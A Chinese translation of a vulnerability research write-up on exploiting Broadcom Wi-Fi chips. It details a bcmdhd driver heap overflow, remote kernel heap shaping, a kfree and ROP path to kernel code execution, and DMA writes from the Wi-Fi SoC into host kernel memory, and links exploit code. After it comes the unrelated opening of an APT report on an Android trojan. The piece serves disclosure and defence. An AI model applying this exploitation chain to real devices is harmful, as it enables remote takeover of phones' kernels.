我们来仔细看看讨论中的事件帧。"WLC_E_PFN_SWC"类型的事件用于指示固件中发生了“重要Wi-Fi改动”（SWC），且必须由主机处理。主机的驱动程序不是直接处理这些事件，而只是从固件中收集所有传输的数据，并通过Netlink向[cfg80211](https://wireless.wiki.kernel.org/en/developers/documentation/cfg80211)层广播“供应商事件”数据包。
更具体而言，由固件发送的每个[SWC事件帧](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/include/wlioctl.h#2653)均包含一个事件数组（类型为[wl_pfn_significant_net_t](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/include/wlioctl.h#2646)）、总计数（total_count）及数组中的事件数（pkt_count）。由于事件总数可能相当大，所以其可能无法容纳在一个帧中（即其可能大于[最大MSDU](https://en.wikipedia.org/wiki/Maximum_transmission_unit#MTUs_for_common_media)）。在这种情况下，可以连续发送多个SWC事件帧——其内部数据将由驱动程序累积，直到达到总计数，此时，驱动程序将处理整个事件列表。
图8
通读驱动程序的代码，我们可以看到，当接收到此事件代码时，将触发一个初始处理程序来处理该事件。然后处理程序内部调用“[dhd_handle_swc_evt](https://android.googlesource.com/kernel/common.git/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/dhd_pno.c#3569)”函数来处理事件的数据。我们来仔细看看：
图9
（其中“event_data”是封装在从固件传入的事件中的任意数据）
从上面可以看到，如上所述，函数首先分配一个数组来保存事件的总计数（如果之前未分配），然后继续从缓冲区中相应的索引（results_rxed_so_far）开始连接封装的数据。
但是，处理程序无法验证total_count和pkt_count之间的关系！其只是“信任”“total_count足够大，可以保存所有后续传入的事件”之断言。因此，能够注入任意事件帧的攻击者可以指定一个小的total_count和一个较大的pkt_count，从而可触发一个简单的内核堆溢出。
**远程内核堆整形**
一切都没有问题，但是我们如何从远程有利位置来利用该原语？因为我们不在设备的本地位置，所以我们无法收集有关堆的当前状态的任何数据，也没有与地址空间相关的信息（除非我们能以某种方式泄漏此信息）。针对内核堆溢出的许多经典利用依赖于对内核堆进行整形的能力，即确保在触发溢出之前处于某种状态——我们目前也缺乏这一能力。
我们对分配算符本身有什么了解？kmalloc分配算符（[SLAB](https://en.wikipedia.org/wiki/Slab_allocation)、[SLUB](https://en.wikipedia.org/wiki/SLUB_\(software\))、[SLOB](https://en.wikipedia.org/wiki/SLOB)）有一些可能的底层实现，可在构建内核时配置。但是，在绝大多数设备上，kmalloc使用“SLUB”——一种未队列化的per-CPU高速缓存“[slab分配算符](https://en.wikipedia.org/wiki/Slab_allocation)”。
每个“slab”只是一个小区域——从该区域雕刻相同大小的分配。每个slab中的第一个块包含其元数据（例如slab的freelist），后续块包含分配本身，没有内联元数据。有一些预定义的由kmalloc使用的slab大小类，大小通常小至64字节，大至约8KB。不出所料，分配算符为每个分配使用最适合的slab（足够大的最小slab）。最后，slab的freelist被线性消耗——连续的分配占用连续的内存地址。但是，如果对象在slab中被释放，则其可能变得碎片化——导致后续的分配填入slab中的“孔”中，而非线性进行。
图10
考虑到这一点，让我们后退一步，分析一下手头的原语。首先，由于我们能够任意指定total_count中的任何值，所以我们可以选择溢出缓冲区的大小作为sizeof（wl_pfn_significant_net）的任何倍数。这意味着我们可以使用我们选择的任何slab缓存大小。因此，我们可以瞄准溢出的对象的大小没有限制。但是，这还不够。我们对slab的目前状态仍然一无所知，也不能触发我们选择的slab中的远程分配。
似乎我们首先需要找到一个方法来对slab进行远程整形。但是回想一下，我们需要克服一些障碍。由于SLUB保持per-CPU高速缓存，所以执行分配的内核线程的亲和性必须与分配溢出缓冲区的内核线程相同。在不同的CPU内核上获取堆整形原语将导致从不同的slab进行分配。解决这个问题的最简单的方法是将我们限制在可以从发生溢出的同一个内核线程中触发的堆整形原语。这是一个相当大的限制，实质上，这强制我们忽略由于事件处理本身外部的进程所导致的分配。
无论如何，有了具体目标后，我们可以开始在每个事件帧的注册处理程序中寻找堆整形原语了。幸运的是，审查过每个处理程序后，我们找到了非常适合的一个。
“WLC_E_PFN_BSSID_NET_FOUND”类型的事件帧由处理函数dhd_handle_hotlist_scan_evt处理。该函数累积扫描结果的链表。每次接收到一个事件时，其数据被附加到列表中。最后，当一个带标记（表明事件是链中的最后一个事件）事件到达时，该函数传递收集的待处理事件列表。我们来仔细看看：
图11
太棒了——看看上面的函数，似乎我们可以反复导致大小分配{ sizeof(gscan_results_cache_t) + (N-1) *
sizeof(wifi_gscan_result_t) | N > 0 }
（其中N表示结果->计数）。此外，这些分配是在同一个内核线程中执行，其生命周期完全由我们控制！只要我们不发送具有PFN_COMPLETE状态的事件，则不会释放任何分配。
在我们继续之前，我们需要选择一个目slab大小。理想情况下，我们要寻找一个相对不活跃的slab。如果同一CPU上的其他线程选择从同一个slab分配（或释放）数据，这将增加该slab的状态的不确定性，并可能使我们无法成功对其进行整形。在查看/proc/slabinfo并跟踪具有与我们的目标内核线程相同的亲和性的每个slab的kmalloc分配后，我们发现似乎kmalloc-1024
slab最不活跃。因此，我们将选择在我们的利用方法中瞄准这一slab大小。
通过使用上面的堆整形原语，我们可以开始使用“gscan”对象填充任何给定大小的slab。每个“gscan”对象都有一个包含与扫描有关的元数据的短header，和一个指向链表中下一个元素的指针。对象的其余部分然后由“扫描结果”的内联数组填充，携带此节点的实际数据。
图12
回到手头的问题——我们如何使用这个原语制作可预测的布局？
通过将堆整形原语与溢出原语相结合，我们应该能够在触发溢出之前对任何大小类的slab进行正确整形。回想一下，最初任何给定的slab均可能是碎片化的，如下所示：
图13
但是，在用我们的堆整形原语触发足够的分配（比如(SLAB_TOTAL_SIZE / SLAB_OBJECT_SIZE) –
1）后，当前slab中的所有孔（若有）应该被填充，导致后续相同大小类的分配连续进行。
图14
现在，我们可以发送一个特制的SWC事件帧，指示一个total_count——导致从同一个目标slab进行的分配。但是，我们还不想触发溢出。在我们这样做之前，我们还必须对当前的slab进行整形。为了防止溢出发生，我们将提供一个小的pkt_count，从而仅部分填充缓冲区。
图15
最后，再次使用堆整形原语，我们可以用更多的“gscan”对象填充slab的其余部分，这使我们获得以下堆状态：
图16
我们快要到达目的地了！从上面可以看到，如果我们在这一点上选择使用溢出原语，我们就可以用我们自己的任意数据覆盖其中一个“gscan”对象的内容。但是，我们还没有明确确定这会产生什么样的结果。
**分析限制**
为了确定覆盖“gscan”对象的效果，我们来看看处理一连串“gscan”对象的流程（即接收到标记有“完成”的事件之后执行的操作）。该处理由[wl_cfgvendor_send_hotlist_event](https://android.googlesource.com/kernel/common/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/wl_cfgvendor.c#234)处理。该函数检查列表中的每个事件，将事件的数据打包到SKB中，然后通过Netlink将SKB广播到任何潜在的监听器。
但是，该函数确实有一定的障碍需要克服，任何给定的“gscan”节点均可能大于SKB的最大大小。因此，需要将节点分成若干个SKB。为了跟踪该信息，使用了“gscan”结构中的“tot_count”和“tot_consumed”字段。“tot_count”字段表示在节点内联数组中嵌入的扫描结果条目的总数，“tot_consumed”字段表示到目前为止消耗（传输）的条目数。
因此，该函数在处理列表时对其内容进行了略微修改。其实质上执行不变量，每个处理节点的“total_consumed”字段将被修改，以匹配其“tot_count”字段。至于正在传输的数据及其打包方法，为简洁起见，我们将跳过这些细节。然而，重要的是要注意，除了上述副作用之外，该函数的危害似乎微乎其微（也就是说，无法从其“开采”进一步的原语）。在所有事件均被打包到SKB中并被传送到任何监听器后，就可以将其回收了。这可以通过审查列表并在每个条目上调用“kfree”来实现。
总而言之，这使我们在利用方面处于何种位置？假设我们选择使用溢出原语覆盖其中一个“gscan”条目，那我们可以修改其“next”字段（或者说必须，因为其是结构中的第一个字段），并将其指向任意地址。这将导致处理函数将该任意指针视作列表中的一个元素而予以使用。
图17
由于处理函数的不变量——在处理特制的条目之后，其第7个字节（“tot_consumed”）将被修改，以匹配其第6个字节（“tot_count”）。此外，处理链之后，指针将被kfreed。更重要的是，回想一下，处理函数迭代整个条目列表。这意味着，特制条目（其“next”字段）中的前四个字节必须指向包含“有效”列表节点的另一个内存位置（随后必须满足相同的约束），或必须保持值0（
NULL）——表示这是列表中的最后一个元素。
这看起来不容易…有很多限制我们需要考虑。如果我们故意选择忽略kfree一段时间，我们可以尝试搜索前四个字节为零、有利于修改第七个字节（以匹配第六个字节）的内存位置。当然，这只是冰山一角，我们可以反复触发相同的原语，从而将字节反复向左复制一位。或许，如果我们能找到一个有足够的零字节和足够的我们选择的字节的内存地址，我们就可以通过连续使用这两个原语来制作一个目标值。
为了衡量这种方法的可行性，我已经在一个小的SMT实例中对上述限制进行了编码（使用[Z3](https://github.com/Z3Prover/z3)），并提供了来自内核的实际堆数据，以及各种目标值及其对应的位置。此外，由于内核的转换表存储在内核VAS中的一个不变地址，对其进行略微修改也可能导致可利用的条件，所以其内容（以及相应的目标值）也被添加到了SMT实例中。当且仅当任何目标值可在不超过十个“步骤”（每一步都是原语的调用）内占用任何目标位置时，该实例满足条件。不幸的是，结果相当严峻…似乎这种方法不够强大。
此外，虽然这个想法在理论上可能很好，但实际上并不奏效。要知道，在任意地址调用kfree并不是没有其副作用。包含内存地址的页面必须标记为“slab”页面或“compound”。这通常仅适用于slab分配算符实际使用的页面。尝试在没有标记为此的页面中的地址调用kfree会触发内核恐慌（从而会导致设备崩溃）。
也许，相反，我们可以选择忽略其他约束并专注于kfree？实际上，如果我们始终能找到一个其数据可用于利用目的分配，那么我们就可以尝试释放该内存地址，然后使用我们的堆整形原语“重新捕获”它。然而，这又引起了几个其他问题。首先，我们始终能找到一个常驻slab地址吗？其次，即使我们能找到这样一个地址，其肯定与per-CPU缓存相关联，意味着释放它不一定能让我们可以稍后回收。最后，无论我们选择瞄准哪个分配，都必须满足上面的约束——即前四个字节必须为零，第7个字节将被修改为与第6个字节匹配。
然而，这正是我们可以巧妙利用之处。回想一下，kmalloc保持一些固定大小的缓存。然而，当请求更大的分配时会发生什么？事实证明，在这种情况下，kmalloc只返回一连串的空闲页面（使用[__get_free_pages](http://lxr.free-electrons.com/source/mm/page_alloc.c#L3869)）并将其返回给调用者。这是在没有任何per-CPU缓存的情况下完成的。因此，如果我们能够释放一个大的分配，那我们应该能够在不必首先考虑哪个CPU进行的分配的情况下回收它。
这可能解决了亲和性的问题，但它仍然无法帮助我们找到这些分配。不幸的是，slab缓存在内核引导过程中被分配得相当晚，而且其内容非常“嘈杂”。这意味着猜测slab中的一个地址也是非常困难的，对于远程攻击者而言更甚。但是，使用大分配流的早期分配（即使用__get_free_pages创建的）始终驻于相同的内存地址！也就是只要其在内核初始化期间发生得足够早，因此没有非确定性事件同时发生。
结合这两个事实，我们可以搜索一个大的早期分配。在跟踪大型分配路径并重新引导内核后，似乎确实有很多这样的分配。为了帮助导航此大的踪迹，我们还可以使用一个特殊的GCC插件来编译Linux内核，该插件可输出内核中使用的每个结构的大小。使用这两个踪迹，我们可以快速导航早期大分配，并尝试搜索潜在的匹配。
遍历列表后，我们碰到一个看似有趣的条目：
图18
**汇总**
在bcmdhd驱动程序初始化期间，其调用[wiphy_new](http://lxr.free-electrons.com/source/net/wireless/core.c?v=2.6.25#L182)函数来分配一个wl_priv实例。该实例用于保存与驱动程序操作相关的大部分元数据。但是，还有一点诡异的数据隐藏在该结构中——用于处理传入的事件帧的事件处理函数指针数组。事实上，我们之前讨论的同一表格(evt_handler)存储在该对象中。这将我们引向了利用的直接路径——只需kfree这个对象，然后发送一个SWC事件帧来回收它，然后用我们自己的任意数据填充它。
然而，在我们这样做之前，我们需要确保该对象满足处理函数所要求的约束。也就是说，前四个字节必须为零，我们必须能够修改第7个字节以匹配第6个字节的值。第二个约束根本不构成任何问题，但第一个约束是个大问题。如前所述，前四个字节不为零，但实际上指向与驱动程序相关的一个函数指针块。这是否意味着我们完全不能使用这个对象？
不是的——碰巧，我们还有一个诀窍！事实证明，当kfree一个大的分配时，kfree的代码路径不需要传入的指针指向分配的起始。相反，其只是提取与分配相对应的页面，然后释放它们。这意味着通过指定位于匹配约束的结构中的地址，我们将既能满足处理函数提出的要求，又可以释放基础对象。太棒了。
图19
综合起来，我们现在可以发送一个SWC事件帧，以回收evt_handler函数指针数组，并用我们自己的内容填充它。由于没有KASLR，我们可以在内核映像中搜索一个堆栈枢纽小工具，其可以使我们实现代码执行。出于利用目的，我已选择用堆栈枢纽将WLC_E_SET_SSID的事件处理程序替换为事件帧本身（当执行事件处理程序时存储在R2中）。最后，通过替换专门设计的WLC_E_SET_SSID类型的事件帧中的
ROP栈，我们现在可以控制内核线程的执行，从而可完成我们的利用。
图20
你可以在[此处](https://bugs.chromium.org/p/project-zero/issues/detail?id=1061#c4)找到该漏洞的一个利用示例。其包括一个只调用printk的短ROP链。该利用方法针对使用自定义内核版本的Nexus
5构建。要修改该方法以适用于不同的内核版本，你需要填入适当地符合（symbols.py下）。此外，虽然原语仍然存在于64位设备中，但为了针对那些平台调整利用方法，可能还需要额外的工作。
接下来，让我们转到本文的第二部分。
**第2部分——“较易”方式**
**能有多简单？**
虽然我们已经看到Wi-Fi固件和主机之间的高级别通信协议可能会受到影响，但我们也看到，要编写一个完全有效的利用方法委实不易。实际上，上述利用方法需要有关目标设备的足够信息（比如符号）。此外，利用期间的任何错误都可能导致内核崩溃，这会导致设备重新启动，这要求我们从头再来。这一事实，再加上我们对Wi-Fi SoC的瞬态控制，使这些类型的利用链很难可靠地利用。
也就是说，到目前为止，我们只考虑了固件暴露的高级别攻击面。实际上，我们是将Wi-Fi
SoC和应用处理器作为两个彼此完全独立的不同实体。实际上，没有什么可以远离真相。Wi-Fi SoC和主机不仅物理上彼此接近，还共享物理通信接口。
如前所述，Broadcom生产支持各种接口的SoC，包括SDIO、USB及PCIe。虽然SDIO接口过去很受欢迎，但近年来已不再受移动设备青睐。SDIO“消失”的主要原因是其传输速度有限。Broadcom的BCM4339
SoC支持SDIO 3.0，这是一个相当高级的SDIO版本。尽管如此，其理论最大总线速度仅为104
MB/s。另一方面，802.11ac的理论最大速度为166 MB/s——远超SDIO。
图21
**BCM4339框图**
传输速率的提高使得PCIe成为用于在现代移动设备中连接Wi-Fi
SoC的最流行的接口。与PCI不同，[PCIe](https://en.wikipedia.org/wiki/PCI_Express)是基于点对点拓扑。每个设备都有将自身连接到主机的自己的串行链路。由于这种设计，PCIe的每通道速率远高于PCI上的同等速率（因为总线访问不需要仲裁），PCIe
1.0在单个通道上的吞吐量为250 MB / s（与通道数呈线性关系）。
我们来具体看看现代移动设备中PCIe的采用率。以Nexus手机为例，从Nexus
6开始，所有设备都使用PCIe接口（不再是SDIO）。同样，所有iPhone也从iPhone 6开始使用PCIe。三星旗舰设备Galaxy从
S6开始使用PCIe。
**接口隔离**
那么，为什么该信息与我们的追求有关？PCIe在隔离方面与SDIO和USB显著不同。SDIO在不进入每个接口的内部的情况下就允许串行传输小命令“数据包”（在CMD引脚上），可能伴随数据（在DATA引脚上）。SDIO控制器然后解码命令并相应响应。虽然SDIO可以支持[DMA](https://en.wikipedia.org/wiki/Direct_memory_access)，但该功能不在移动设备上使用，并不是SDIO的固有部分。此外，BCM
SoC上的低级SDIO通信由“SDIOD”内核处理。为了制作特殊的SDIO命令，我们很可能需要先获得对该控制器的访问权。
同样，USB（最高3.1版）不包括对DMA的支持。USB协议由主机的USB控制器进行处理，该控制器执行所需的内存访问。当然，可能可以破坏USB控制器本身，然后将其接口用于内存系统，以获得内存访问权。比如，在Intel
Hub
Architecture上，USB控制器通过能够进行DMA的PCI连接到[PCH](https://en.wikipedia.org/wiki/Platform_Controller_Hub)。但这种攻击也相当复杂，仅限于特定的架构和USB控制器。
与这两个接口相比，PCIe允许通过设计进行DMA。这允许PCIe以极高的速度运行，而不会导致主机的性能下降。一旦数据传输到主机的内存，就会触发一个中断来指示该工作需要完成。
在事务层上，PCIe通过发送小批量的数据（适当命名为“事务层包”（TLP））进行操作。每个TLP可以由交换机网络路由，直到其到达预定外围设备为止。然后外围设备解码数据包并执行请求的内存操作。TLP的header编码这是否是请求的读取或写入操作，其body包含与请求相关的任何伴随数据。
图22
**事务层包（TLP）的结构**
**IOU一个MMU**
虽然PCIe支持通过设计实现DMA，但这并不意味着连接到外围设备的任何PCIe都应该能够自由访问主机上的任何内存地址。事实上，现代架构在将外设连接到主存储器的IO总线上具有额外的内存映射单元（[IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit)），因为具有针对支持DMA的外设的防御能力。
ARM指定其自己的IOMMU版本，称为“[系统内存映射单元](https://developer.arm.com/products/system-ip/system-controllers/system-memory-management-unit)”（SMMU）。使用SMMU的其中一个目的是管理暴露于不同SoC组件的内存视图。简而言之，每个内存事务流都与“流ID”相关联。然后，SMMU执行称为“上下文确定”的一个步骤，以便将流ID转换为相应的内存上下文。
使用内存上下文，SMMU便能够将内存操作与包含请求设备的映射的转换表相关联。很像常规的ARM
MMU，查询转换表是为了将输入地址（虚拟地址或中间物理地址）转换为相应的物理地址。当然，期间SMMU也确保请求的内存操作实际上被允许。如果这些步骤中的任何一个失败，就会产生故障。
图23
虽然这在理论上很好，但并不意味着SMMU实际上在实践中被使用。不幸的是，移动SoC是专有的，因此很难确定SMMU实际上如何和在哪里就位。话虽如此，我们仍然可以从公开的信息中获取一些洞察力。通过查看Linux内核中的IOMMU绑定，我们可以看到，显然，Qualcomm和三星都有自己的SMMU专有实现，有其自己独特的设备树绑定。但是，可疑的是，Broadcom
Wi-Fi芯片的设备树条目似乎缺少这些IOMMU绑定…
相反，Broadcom的主机驱动程序（bcmdhd）也许在每个外围存储器访问之前手动配置SMMU？为了回答这个问题，我们需要仔细看看通过PCIe使用的通信协议的驱动程序实现。Broadcom实现其自己的称为“MSGBUF”的专有协议，以便通过PCIe与Wi-Fi芯片进行通信。主机的协议实现和处理PCIe的代码分别可以在[dhd_msgbuf.c](https://android.googlesource.com/kernel/common/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/dhd_msgbuf.c)和[dhd_pcie.c](https://android.googlesource.com/kernel/common/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/dhd_pcie.c)下找到。
查看代码后，我们获得了对通信协议的内部工作机制的一些关键了解。首先，与预期一致，驱动程序扫描PCIe接口，访问PCI[配置空间](https://en.wikipedia.org/wiki/PCI_configuration_space)，并将所有共享资源映射到主机的内存中。接下来，主机分配一组“环”。每个环均由DMA相干内存区域支持。MSGBUF协议将四个环用于数据流，一个环用于控制。每个数据路径（RX或TX）都有两个相应的环——一个用于指示请求的提交，另一个用于指示其完成。然而，到目前为止，仍然没有提到驱动程序中的SMMU。也许我们要更深入的挖掘…
那么Wi-Fi芯片如何了解这些环的位置？毕竟，到目前为止，其只是在驱动程序中分配的一堆物理连续的缓冲区。查看驱动程序的代码后可知，主机和芯片似乎拥有共享的结构，[pciedev_shared_t](https://android.googlesource.com/kernel/common/+/bcmdhd-3.10/drivers/net/wireless/bcmdhd/include/bcmpcie.h#132)，包含所有PCIe相关元数据，包括每个环形缓冲区的位置。主机保持其自己的该结构的副本，但Wi-Fi SoC在何处保持其副本？根据dhdpcie_readshared函数，似乎Wi-Fi芯片在其RAM的最后四个字节中存储了一个指向此结构的指针。
图24
我们来继续看看结构的内容。为了略微简化这个过程，我写了一个使用固件RAM快照（使用dhdutil生成）[小脚本](https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c8)，从RAM的末端读取指向PCIe共享结构的指针，并转出相关的信息：
图25
在rings_info_ptr字段之后，我们还可以转储有关每个环的信息，包括其大小、当前索引及物理内存地址：
图26
我们可以看到，这些缓冲区中指定的内存地址实际上似乎是主机内存中的物理内存地址。这有点可疑…在SMMU存在的情况下，芯片应该使用完全不同的地址范围（应该由SMMU转换为物理地址）。但是，仅仅是怀疑是不够的，为了检查SMMU是否存在（或活跃），我们需要设置一个小实验！
回想一下，对于RX和TX路径，MSGBUF协议使用上述环形缓冲区来指示事件的提交和完成。实质上，在帧传输期间，主机写入TX提交环。一旦芯片传输帧，其便写入TX完成环，以指示此情况。同样，当接收到帧时，固件写入RX提交环，随后主机在接收到帧时写入RX完成环。
如果是这样，如果我们修改对应于固件的PCIe元数据结构中的TX完成环的环地址，并将其指向任意的内存地址，结果会如何？如果SMMU就位，并且所选的内存地址未映射到Wi-Fi芯片，则SMMU将生成故障，并且不会进行任何修改。但是，如果没有SMMU，我们就应该能够通过从主机转储相应的物理内存范围（例如，通过使用/dev/mem）来观察此修改。这个小型实验还让我们可以暂时不用对Wi-Fi固件的MSGBUF协议的实现进行逆向工程，该逆向工程毫无疑问是相当繁琐的。
为了使事情更有趣，让我们修改TX完成环的地址，以指向Linux内核代码段的起始（Nexus
6P上的0x80000：见/proc/iomem）。在产生一些Wi-Fi流量并检查物理内存的内容之后，我们得到以下结果：
图27
哈哈！Wi-Fi芯片成功DMA到包含主机内核的物理地址范围，没有任何干扰！这最终证实了我们的怀疑，要么不存在SMMU，要么其没有被配置为可防止芯片访问主机的RAM。
这种访问不仅不需要漏洞，还可以更可靠地利用。不需要确切的内核符号或任何其他初步信息。Wi-Fi
SoC可以使用其DMA访问来扫描物理地址范围，以定位内核。然后，其可以识别RAM中内核的符号表，分析它来定位其所需的任何内核函数，并通过覆盖其代码来劫持该函数（在类似的类DMA攻击中可以看到一个这样的示例）。总而言之，这种攻击风格完全可移植且100％可靠，相比我们看到的以前的利用方法是一个重大的升级。
我们可以到此为止，不过让我们再稍作努力，以便稍微更好地控制这个原语。虽然我们能DMA进主机的内存，但此时我们是相当“盲目地”实现的。我们不控制正在写入的数据，而是依靠Wi-Fi固件的MSGBUF协议的实现来破坏主机的内存。通过进一步研究，我们应该能够弄清Wi-Fi芯片上的DMA引擎是如何工作的，并手动利用它来访问主机的内存（而不是依赖如上所示的副作用）。
那么我们从哪里开始？搜索“MSGBUF”字符串，我们可以看到与协议相关的一些初始化例程，这是特殊“回收”区域的一部分（因此仅在芯片初始化期间使用）。然而，对这些函数进行逆向工程后表明，其引用Wi-Fi芯片RAM中的一组函数。幸运的是，这些函数的一些名称存在于ROM中！其名称似乎很相关：“dma64_txfast”、“dma64_txreset”——看起来我们在正确的轨道上。
我们再一次避免了一些逆向工程的努力。Broadcom的SoftMAC驱动程序[brcmsmac](https://github.com/torvalds/linux/tree/master/drivers/net/wireless/broadcom/brcm80211/brcmsmac)包含这些确切函数的实现。虽然我们可以预期有一些差异，但总体思路应保持不变。
梳理代码后发现，似乎对于每个具有DMA能力的源或接收器，都存在一个相应的DMA元数据结构，称为“[dma_info](http://lxr.free-electrons.com/source/drivers/staging/brcm80211/brcmsmac/hnddma.c?v=3.0#L77)”。该结构包含指向DMA
RX和TX寄存器的指针，以及插入DMA源或目标地址的DMA描述符环。另外，每个结构都被分配一个用于标识自身的8字节的名称。更重要的是，每个dma_info结构都以指向包含DMA函数的RAM函数块的指针开始——与我们之前确定的块相同。因此，我们可以通过在Wi-Fi SoC的RAM中搜索这个指针来定位这些DMA元数据结构的所有实例。
图28
现在我们知道了这些元数据结构的格式，并且有办法找到它们，所以我们可以尝试搜索对应于从Wi-Fi芯片到主机的DMA TX路径的实例。
不过，这说易行难。毕竟，我们可以预期找到这些结构的多个实例，因为Wi-Fi芯片可对多个源和接收器进行正向和反向DMA。比如，固件可能使用SoC内部DMA引擎来访问内部RX和TX FIFO。那么我们如何识别正确的DMA描述符？
回想一下，每个描述符都有一个关联的“名称”字段。我们来搜索RAM中的所有DMA描述符（通过搜索DMA函数块指针），并输出每个实例的相应名称：
图29
太好了！虽然有一些可能在内部使用的难以归类的dma_info实例（和怀疑的一样），但也有两个实例似乎对应于主机到设备（H2D）和设备到主机（D2H）DMA访问。由于我们对DMA进主机的内存感兴趣，所以我们来仔细看看D2H的结构：
图30
注意，RX和TX寄存器指向Wi-Fi固件的ROM和RAM之外的区域。实际上，其指向对应于DMA引擎寄存器的背板地址。相比之下，RX和TX描述符环指针确实指向SoC的RAM中的内存位置。
通过审查brcmsmac中的DMA代码和主机驱动程序中的MSGBUF协议实现，我们最终得以将细节拼凑起来。首先，主机使用MSGBUF协议将物理地址（对应于SKB）发送到芯片。然后由固件的MSGBUF实现将这些地址插入DMA描述符环中。一旦环被填充，Wi-Fi芯片就会写入背板寄存器，以便“启动”DMA引擎。然后，DMA引擎将审查描述符列表，并在DMA访问的当前环索引处消耗描述符。一旦DMA描述符被消耗，其值便被设置为一个特殊的“魔术”值（0xDEADBEEF）。
因此，为了操纵DMA引擎写入我们自己的任意物理地址，我们需要做的就是修改DMA描述符环。由于MSGBUF协议在帧来回发送时始终运行，所以描述符环快速变化。如果我们可以“钩住”DMA
TX流程中调用的其中一个函数，那我们就可以用我们自己设计的值快速替换当前的描述符。
幸运的是，dmx64_txfast函数位于ROM中，其序言从指向RAM的分支开始。这使我们可以使用上一篇博文中的[补丁程序](https://bugs.chromium.org/p/project-zero/issues/detail?id=1046#c9)来挂接这个函数，然后执行我们自己的shellcode存根。我们来写一个小存根，以审查D2H
DMA描述符，并将每个非消耗的描述符更改为我们自己的指针。通过这样做，对DMA引擎的后续调用应将接收到的帧的内容写入上述地址。在应用补丁并生成Wi-Fi流量后，我们收获了以下结果：
图31
我们成功将任意数据DMA到了我们选择的地址。使用该原语，我们终于可以用我们自己制作的数据来劫持任何内核函数。
最后一点，上述实验是在Nexus 6P（基于Qualcomm的Snapdragon 810
SoC）上进行的。这引起了一个问题：也许不同的SoC会展现不同的行为？为了测试这个理论，让我们在Galaxy S7 Edge（基于三星的Exynos
8890 SoC）上重复相同的实验。
使用[先前披露的权限提升](https://googleprojectzero.blogspot.com/2016/12/bitunmap-attacking-android-ashmem.html)将代码注入到system_server中，我们可以直接发出与bcmdhd驱动程序交互所需的ioctl，从而取代了上述实验中由dhdutil提供的芯片内存访问功能。同样，利用[先前披露的内核利用方法](https://googleprojectzero.blogspot.com/2017/02/lifting-hyper-visor-bypassing-samsungs.html)，我们能够在内核中执行代码，使我们能够观察内核代码段的更改。
综合起来，我们可以提取Wi-Fi芯片（BCM43596）的ROM，对其进行检查，并按照上述方法定位DMA函数。然后我们可以插入相同的挂钩，将任何未消耗的DMA
RX描述符指向内核代码的物理地址。安装挂钩并产生一些Wi-Fi流量后，我们观察到以下结果：
图32
我们又一次可以自由DMA进内核（期间绕过了RKP保护）。似乎三星的Exynos 8890 SoC和Qualcomm的Snapdragon
810要么缺乏SMMU，要么未能使用SMMU。
**结束语**
总而言之，我们已经看到，可以而且应该改进主机和Wi-Fi
SoC之间的隔离。虽然主机和芯片之间的通信协议存在缺陷，但是经过一定时间最终可以予以解决。然而，目前缺乏对流氓Wi-Fi芯片的保护令人担忧。
由于移动SoC是专有的，因此当前这一代的SoC是否能够促进这种隔离仍然是未知数。我们希望确实有能力实现内存保护（比如通过SMMU方式）的SoC尽快选择这样做。对于不能这样做的SoC，也许这项研究将成为设计下一代硬件的促进因素。
目前的缺乏隔离也可能会产生一些令人惊讶的副作用。例如，能够[与Wi-Fi固件](http://androidxref.com/7.1.1_r6/xref/system/sepolicy/ioctl_macros#15)交互的Android上下文可以利用Wi-Fi SoC的DMA能力来直接劫持内核。因此，这些上下文应该被认为是“具有内核权限”，我认为，目前安卓的安全架构还没有作出这样的假设。
固件日益复杂，Wi-Fi在不断向前迈进，这两者表明固件bug可能还要徘徊很长一段时间。该假设有事实的支持——即使对固件进行相对浅层的检查也可以发现很多bug，且都可以被远程攻击者利用。
虽然内存隔离本身有助于防御流氓Wi-Fi
SoC，但固件的防御也可以支持攻击。目前，固件缺乏利用缓解措施（如堆栈cookie），并没有充分利用现有的安全机制（如MPU）。希望未来的版本能通过实施现代利用缓解措施和采用SoC安全机制来更好地防范这种攻击。
**传送门**
* * *
**[【技术分享】漏洞挖掘之利用Broadcom的Wi-Fi栈（一）](http://bobao.360.cn/learning/detail/3742.html)** | 社区文章 |
# 蔓灵花（APT-C-08）移动平台攻击活动揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
蔓灵花（APT-C-08）APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织，主要攻击政府、电力和军工行业相关单位，以窃取敏感信息为主，具有强烈的政治背景，是目前活跃的针对境内目标进行攻击的境外APT组织之一。该组织最早在2016被国外安全公司进行了披露，并且命名为“BITTER”，同年360也跟进发布了分析报告，将该组织命名为“蔓灵花”。
迄今为止有数个国内外安全团队持续追踪并披露该组织PC端的最新攻击活动。
2019年8月，360烽火实验室在日常样本分析中发现一新型Android木马，根据其CC特点将其命名为SlideRAT，深入分析后发现该家族木马属于蔓灵花组织。此后，我们对该家族样本进行持续监控，2019年11初，我们发现SlideRAT攻击中国军工行业从事人员，11月中旬，该家族样本开始攻击中国驻巴基斯坦人员。短短半个月内，蔓灵花组织在移动平台至少进行了两次的攻击活动，且受害者均为中国人，我们猜测随着年关将近，该时间段为该组织针对我国攻击的高发期。鉴于此我们决定通过已有情报和数据，将该家族在移动平台的攻击活动进行揭露。
## 二、概述
蔓灵花在移动平台的攻击活动最早可以追溯到2014年，2016年首次曝光该组织在移动平台使用开源远程管理工具AndroRAT攻击巴基斯坦政府。其后有数篇关于该组织在PC端的攻击活动报告，而Android相关的报告几乎是一片空白。本报告将揭露该组织自2016年后在Android端的攻击活动。
### (一) 主要发现
2016年6月开始，蔓灵花组织开始使用定制木马SlideRAT针对中国和巴基斯坦展开了长期有组织、有计划的攻击活动。根据已有数据，我们发现该组织在攻击活动中常用的载荷投递方式包括水坑、钓鱼、短信、社交工具，受害者包括中国军工行业人员、中国党政干部、企业客服人员以及其他中国群众，也包括巴基斯坦和印度克什米尔区域群体。
### (二) 攻击行动
通过对捕获到的所有SlideRAT家族样本证书初始时间和伪装对象进行梳理，该组织在移动平台的攻击活动线如图1所示 。
图1 蔓灵花组织攻击时间线
